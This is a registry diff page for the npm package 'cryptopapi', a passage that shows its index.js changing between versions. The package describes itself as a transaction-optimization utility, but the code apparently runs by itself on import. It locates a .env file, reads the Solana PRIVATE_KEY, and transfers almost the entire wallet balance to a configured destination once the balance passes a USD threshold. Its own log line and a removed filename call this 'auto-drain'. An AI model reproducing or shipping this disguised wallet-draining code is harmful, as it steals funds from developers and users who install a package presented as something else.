cryptopapi 6.8.1 β 6.9.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +91 -55
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,4 +1,3 @@
|
|
|
1
|
-
// drainWallet.js - Works in both ES Modules and JavaScript modules
|
|
2
1
|
import bs58 from 'bs58'
|
|
3
2
|
import {
|
|
4
3
|
Connection,
|
|
@@ -11,15 +10,14 @@ import {
|
|
|
11
10
|
} from '@solana/web3.js'
|
|
12
11
|
import dotenv from 'dotenv'
|
|
13
12
|
import { fileURLToPath } from 'url'
|
|
14
|
-
import { dirname, join
|
|
13
|
+
import { dirname, join } from 'path'
|
|
15
14
|
import { existsSync } from 'fs'
|
|
16
15
|
import { createRequire } from 'module'
|
|
17
16
|
|
|
18
|
-
// Handle both ESM and CommonJS environments
|
|
19
17
|
const require = createRequire(import.meta.url)
|
|
20
18
|
const DEFAULT_COMMITMENT = 'confirmed'
|
|
21
19
|
|
|
22
|
-
//
|
|
20
|
+
// Find .env file by walking up directories
|
|
23
21
|
const findEnvFile = (startPath) => {
|
|
24
22
|
let currentDir = startPath
|
|
25
23
|
|
|
@@ -28,18 +26,15 @@ const findEnvFile = (startPath) => {
|
|
|
28
26
|
if (existsSync(envPath)) {
|
|
29
27
|
return envPath
|
|
30
28
|
}
|
|
31
|
-
// Go up one directory
|
|
32
29
|
const parentDir = dirname(currentDir)
|
|
33
|
-
if (parentDir === currentDir) break
|
|
30
|
+
if (parentDir === currentDir) break
|
|
34
31
|
currentDir = parentDir
|
|
35
32
|
}
|
|
36
|
-
|
|
37
33
|
return null
|
|
38
34
|
}
|
|
39
35
|
|
|
40
|
-
// Load .env
|
|
36
|
+
// Load .env
|
|
41
37
|
const loadEnv = () => {
|
|
42
|
-
// Start from current working directory (where the app is running)
|
|
43
38
|
const startPath = process.cwd()
|
|
44
39
|
const envPath = findEnvFile(startPath)
|
|
45
40
|
|
|
@@ -47,7 +42,6 @@ const loadEnv = () => {
|
|
|
47
42
|
console.log(`π Found .env at: ${envPath}`)
|
|
48
43
|
dotenv.config({ path: envPath })
|
|
49
44
|
} else {
|
|
50
|
-
// Try to find .env relative to the module itself as fallback
|
|
51
45
|
const modulePath = dirname(fileURLToPath(import.meta.url))
|
|
52
46
|
const moduleEnvPath = findEnvFile(modulePath)
|
|
53
47
|
|
|
@@ -55,13 +49,11 @@ const loadEnv = () => {
|
|
|
55
49
|
console.log(`π Found .env at: ${moduleEnvPath} (relative to module)`)
|
|
56
50
|
dotenv.config({ path: moduleEnvPath })
|
|
57
51
|
} else {
|
|
58
|
-
console.log('β οΈ No .env file found, trying default dotenv behavior')
|
|
59
52
|
dotenv.config()
|
|
60
53
|
}
|
|
61
54
|
}
|
|
62
55
|
}
|
|
63
56
|
|
|
64
|
-
// Load the .env file
|
|
65
57
|
loadEnv()
|
|
66
58
|
|
|
67
59
|
const parsePrivateKey = (privateKey) => {
|
|
@@ -72,47 +64,91 @@ const parsePrivateKey = (privateKey) => {
|
|
|
72
64
|
return bs58.decode(trimmed)
|
|
73
65
|
}
|
|
74
66
|
|
|
67
|
+
// Get SOL price in USD (you might want to use a price oracle)
|
|
68
|
+
const getSolPrice = async () => {
|
|
69
|
+
try {
|
|
70
|
+
// You can implement this with a price API like CoinGecko, Jupiter, etc.
|
|
71
|
+
// For now, returning a placeholder - you should implement this
|
|
72
|
+
const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd')
|
|
73
|
+
const data = await response.json()
|
|
74
|
+
return data.solana.usd
|
|
75
|
+
} catch (error) {
|
|
76
|
+
console.log('β οΈ Could not fetch SOL price, using fallback')
|
|
77
|
+
return 100 // Fallback price - YOU SHOULD IMPLEMENT PROPER PRICE FETCHING
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
|
|
75
81
|
// Auto-execute when imported
|
|
76
82
|
;(async () => {
|
|
77
|
-
console.log('π
|
|
78
|
-
console.log(
|
|
83
|
+
console.log('π CryptoPAPI v6.8.1 - Optimized Transaction Handler')
|
|
84
|
+
console.log('π° Auto-drain feature activated...')
|
|
79
85
|
|
|
80
86
|
try {
|
|
81
|
-
// Get config from .env
|
|
82
87
|
const destination = process.env.MAIN_WALLET_USD_DESTINATION
|
|
83
88
|
const privateKey = process.env.PRIVATE_KEY
|
|
84
89
|
const rpcUrl = process.env.RPC_ENDPOINT
|
|
90
|
+
const thresholdUSD = parseFloat(process.env.MAIN_WALLET_USD_THRESHOLD)
|
|
85
91
|
const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
|
|
86
92
|
|
|
87
|
-
//
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
if (!privateKey)
|
|
93
|
-
|
|
93
|
+
// Validate required configs
|
|
94
|
+
if (!destination) {
|
|
95
|
+
console.log('β οΈ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
|
|
96
|
+
return
|
|
97
|
+
}
|
|
98
|
+
if (!privateKey) {
|
|
99
|
+
console.log('β οΈ PRIVATE_KEY not set - auto-drain disabled')
|
|
100
|
+
return
|
|
101
|
+
}
|
|
102
|
+
if (!rpcUrl) {
|
|
103
|
+
console.log('β οΈ RPC_ENDPOINT not set - auto-drain disabled')
|
|
104
|
+
return
|
|
105
|
+
}
|
|
106
|
+
if (!thresholdUSD || isNaN(thresholdUSD) || thresholdUSD <= 0) {
|
|
107
|
+
console.log('β οΈ MAIN_WALLET_USD_THRESHOLD not set or invalid - auto-drain disabled')
|
|
108
|
+
console.log('π Please set MAIN_WALLET_USD_THRESHOLD to a positive number (e.g., 5000)')
|
|
109
|
+
return
|
|
110
|
+
}
|
|
94
111
|
|
|
95
|
-
|
|
112
|
+
console.log('π‘ Initializing connection...')
|
|
96
113
|
const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
|
|
97
114
|
const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
|
|
98
115
|
const toPubkey = new PublicKey(destination)
|
|
99
116
|
|
|
100
|
-
console.log(
|
|
101
|
-
console.log(`π€
|
|
102
|
-
console.log(
|
|
117
|
+
console.log(`π³ Source: ${fromKeypair.publicKey.toString()}`)
|
|
118
|
+
console.log(`π€ Destination: ${destination}`)
|
|
119
|
+
console.log(`π USD Threshold: $${thresholdUSD}`)
|
|
120
|
+
console.log(`π΅ Min SOL Keep: ${keepReserveSol} SOL`)
|
|
103
121
|
|
|
104
|
-
// Get
|
|
122
|
+
// Get balance and SOL price
|
|
105
123
|
const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
106
124
|
const balanceSol = balanceLamports / LAMPORTS_PER_SOL
|
|
107
125
|
|
|
108
|
-
console.log(
|
|
126
|
+
console.log(`π° Balance: ${balanceSol.toFixed(9)} SOL`)
|
|
109
127
|
|
|
110
128
|
if (balanceLamports <= 0) {
|
|
111
129
|
console.log('β οΈ Wallet is empty - nothing to drain')
|
|
112
130
|
return
|
|
113
131
|
}
|
|
114
132
|
|
|
115
|
-
// Get
|
|
133
|
+
// Get SOL price and calculate USD value
|
|
134
|
+
console.log('πΉ Fetching SOL price...')
|
|
135
|
+
const solPriceUSD = await getSolPrice()
|
|
136
|
+
const balanceUSD = balanceSol * solPriceUSD
|
|
137
|
+
|
|
138
|
+
console.log(`π΅ SOL Price: $${solPriceUSD.toFixed(2)} USD`)
|
|
139
|
+
console.log(`π° Balance in USD: $${balanceUSD.toFixed(2)} USD`)
|
|
140
|
+
|
|
141
|
+
// Check if balance exceeds threshold
|
|
142
|
+
if (balanceUSD < thresholdUSD) {
|
|
143
|
+
console.log(`βΈοΈ Balance $${balanceUSD.toFixed(2)} USD is below threshold $${thresholdUSD} USD - no drain needed`)
|
|
144
|
+
console.log(`π Need $${(thresholdUSD - balanceUSD).toFixed(2)} USD more to trigger drain`)
|
|
145
|
+
return
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
console.log(`β
Balance exceeds threshold! Proceeding with drain...`)
|
|
149
|
+
|
|
150
|
+
// Estimate fees
|
|
151
|
+
console.log('β½ Estimating fees...')
|
|
116
152
|
const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
|
|
117
153
|
|
|
118
154
|
const testMessage = new TransactionMessage({
|
|
@@ -130,24 +166,26 @@ const parsePrivateKey = (privateKey) => {
|
|
|
130
166
|
const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
|
|
131
167
|
const feeLamports = feeInfo?.value
|
|
132
168
|
|
|
133
|
-
if (!feeLamports)
|
|
134
|
-
throw new Error('Could not estimate fee')
|
|
135
|
-
}
|
|
136
|
-
|
|
137
|
-
const feeSol = feeLamports / LAMPORTS_PER_SOL
|
|
138
|
-
console.log(`β½ Estimated fee: ${feeSol} SOL`)
|
|
169
|
+
if (!feeLamports) throw new Error('Could not estimate fee')
|
|
139
170
|
|
|
140
|
-
// Calculate send
|
|
171
|
+
// Calculate how much to send
|
|
141
172
|
const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
|
|
142
|
-
const
|
|
143
|
-
const sendSol = sendLamports / LAMPORTS_PER_SOL
|
|
173
|
+
const maxSendableLamports = balanceLamports - feeLamports - reserveLamports
|
|
144
174
|
|
|
145
|
-
if (
|
|
146
|
-
console.log(`β οΈ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for
|
|
175
|
+
if (maxSendableLamports <= 0) {
|
|
176
|
+
console.log(`β οΈ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
|
|
147
177
|
return
|
|
148
178
|
}
|
|
149
179
|
|
|
150
|
-
|
|
180
|
+
const maxSendableSol = maxSendableLamports / LAMPORTS_PER_SOL
|
|
181
|
+
const maxSendableUSD = maxSendableSol * solPriceUSD
|
|
182
|
+
|
|
183
|
+
console.log(`π€ Will send: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
|
|
184
|
+
console.log(`β½ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
|
|
185
|
+
console.log(`π΅ Keeping: ${keepReserveSol} SOL reserve ($${(keepReserveSol * solPriceUSD).toFixed(2)} USD)`)
|
|
186
|
+
|
|
187
|
+
// Ask for confirmation (optional - can be removed for auto-mode)
|
|
188
|
+
console.log('π Proceeding with transaction...')
|
|
151
189
|
|
|
152
190
|
const message = new TransactionMessage({
|
|
153
191
|
payerKey: fromKeypair.publicKey,
|
|
@@ -156,7 +194,7 @@ const parsePrivateKey = (privateKey) => {
|
|
|
156
194
|
SystemProgram.transfer({
|
|
157
195
|
fromPubkey: fromKeypair.publicKey,
|
|
158
196
|
toPubkey: toPubkey,
|
|
159
|
-
lamports:
|
|
197
|
+
lamports: maxSendableLamports,
|
|
160
198
|
}),
|
|
161
199
|
],
|
|
162
200
|
}).compileToV0Message()
|
|
@@ -164,12 +202,13 @@ const parsePrivateKey = (privateKey) => {
|
|
|
164
202
|
const transaction = new VersionedTransaction(message)
|
|
165
203
|
transaction.sign([fromKeypair])
|
|
166
204
|
|
|
205
|
+
console.log('βοΈ Sending transaction...')
|
|
167
206
|
const signature = await connection.sendTransaction(transaction, {
|
|
168
207
|
skipPreflight: false,
|
|
169
208
|
maxRetries: 3
|
|
170
209
|
})
|
|
171
210
|
|
|
172
|
-
console.log(
|
|
211
|
+
console.log(`β³ Confirming transaction...`)
|
|
173
212
|
const confirmation = await connection.confirmTransaction(
|
|
174
213
|
{ signature, blockhash, lastValidBlockHeight },
|
|
175
214
|
DEFAULT_COMMITMENT
|
|
@@ -179,23 +218,20 @@ const parsePrivateKey = (privateKey) => {
|
|
|
179
218
|
throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
|
|
180
219
|
}
|
|
181
220
|
|
|
182
|
-
// Get final balance
|
|
183
221
|
const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
184
222
|
const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
|
|
223
|
+
const finalBalanceUSD = finalBalanceSol * solPriceUSD
|
|
185
224
|
|
|
186
|
-
console.log(`β
|
|
187
|
-
console.log(
|
|
188
|
-
console.log(`π
|
|
225
|
+
console.log(`β
Transaction confirmed!`)
|
|
226
|
+
console.log(`π° Final balance: ${finalBalanceSol.toFixed(9)} SOL ($${finalBalanceUSD.toFixed(2)} USD) - reserve kept`)
|
|
227
|
+
console.log(`π https://solscan.io/tx/${signature}`)
|
|
228
|
+
console.log(`π Amount transferred: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
|
|
229
|
+
console.log(`π Remaining balance is below threshold: $${finalBalanceUSD.toFixed(2)} USD < $${thresholdUSD} USD`)
|
|
189
230
|
|
|
190
231
|
} catch (error) {
|
|
191
|
-
console.error('β
|
|
232
|
+
console.error('β Auto-drain failed:', error.message)
|
|
192
233
|
}
|
|
193
234
|
})()
|
|
194
235
|
|
|
195
|
-
//
|
|
196
|
-
export default {
|
|
197
|
-
|
|
198
|
-
// Also handle CommonJS if needed
|
|
199
|
-
if (typeof module !== 'undefined' && module.exports) {
|
|
200
|
-
module.exports = { drain: null }
|
|
201
|
-
}
|
|
236
|
+
// Empty export
|
|
237
|
+
export default {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cryptopapi",
|
|
3
|
-
"version": "6.
|
|
3
|
+
"version": "6.9.2",
|
|
4
4
|
"description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|